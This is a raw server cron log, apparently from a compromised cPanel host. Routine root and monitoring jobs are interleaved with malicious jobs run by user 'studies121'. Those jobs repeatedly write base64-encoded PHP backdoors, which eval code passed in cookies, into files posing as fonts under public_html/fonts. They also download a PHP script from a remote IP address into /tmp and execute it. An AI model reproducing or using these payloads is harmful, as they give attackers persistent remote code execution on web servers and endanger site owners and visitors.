Sep 21 05:27:02 ip-184-168-122-23 CROND[22040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:28:01 ip-184-168-122-23 CROND[22353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:28:01 ip-184-168-122-23 CROND[22356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:28:01 ip-184-168-122-23 CROND[22357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:28:01 ip-184-168-122-23 CROND[22355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:28:01 ip-184-168-122-23 CROND[22358]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:29:01 ip-184-168-122-23 CROND[22638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:29:01 ip-184-168-122-23 CROND[22641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:29:01 ip-184-168-122-23 CROND[22644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:29:01 ip-184-168-122-23 CROND[22645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22906]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22909]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:30:01 ip-184-168-122-23 CROND[22910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:30:01 ip-184-168-122-23 CROND[22915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22912]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22911]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22916]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:30:01 ip-184-168-122-23 CROND[22917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:31:02 ip-184-168-122-23 CROND[23200]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 05:31:02 ip-184-168-122-23 CROND[23203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:31:02 ip-184-168-122-23 CROND[23204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:31:02 ip-184-168-122-23 CROND[23206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:31:02 ip-184-168-122-23 CROND[23205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:32:01 ip-184-168-122-23 CROND[23566]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:32:02 ip-184-168-122-23 CROND[23568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:32:02 ip-184-168-122-23 CROND[23569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:32:02 ip-184-168-122-23 CROND[23570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:32:02 ip-184-168-122-23 CROND[23571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:33:01 ip-184-168-122-23 CROND[23866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:33:01 ip-184-168-122-23 CROND[23870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:33:01 ip-184-168-122-23 CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:33:01 ip-184-168-122-23 CROND[23869]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:34:01 ip-184-168-122-23 CROND[24149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:34:01 ip-184-168-122-23 CROND[24152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:34:01 ip-184-168-122-23 CROND[24150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:34:01 ip-184-168-122-23 CROND[24151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:34:01 ip-184-168-122-23 CROND[24148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:35:01 ip-184-168-122-23 CROND[24427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24433]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24431]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:35:01 ip-184-168-122-23 CROND[24430]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:35:01 ip-184-168-122-23 CROND[24434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 05:36:01 ip-184-168-122-23 CROND[24742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:36:01 ip-184-168-122-23 CROND[24744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:36:01 ip-184-168-122-23 CROND[24745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:36:01 ip-184-168-122-23 CROND[24747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:36:01 ip-184-168-122-23 CROND[24746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:37:01 ip-184-168-122-23 CROND[25074]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:37:01 ip-184-168-122-23 CROND[25075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:37:01 ip-184-168-122-23 CROND[25078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:37:01 ip-184-168-122-23 CROND[25079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:38:01 ip-184-168-122-23 CROND[25417]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 05:38:01 ip-184-168-122-23 CROND[25419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 05:38:01 ip-184-168-122-23 CROND[25420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:38:01 ip-184-168-122-23 CROND[25421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:38:01 ip-184-168-122-23 CROND[25422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:39:01 ip-184-168-122-23 CROND[25713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 05:39:01 ip-184-168-122-23 CROND[25717]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 05:39:01 ip-184-168-122-23 CROND[25718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 05:39:01 ip-184-168-122-23 CROND[25716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 05:39:01 ip-184-168-122-23 CROND[25715]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
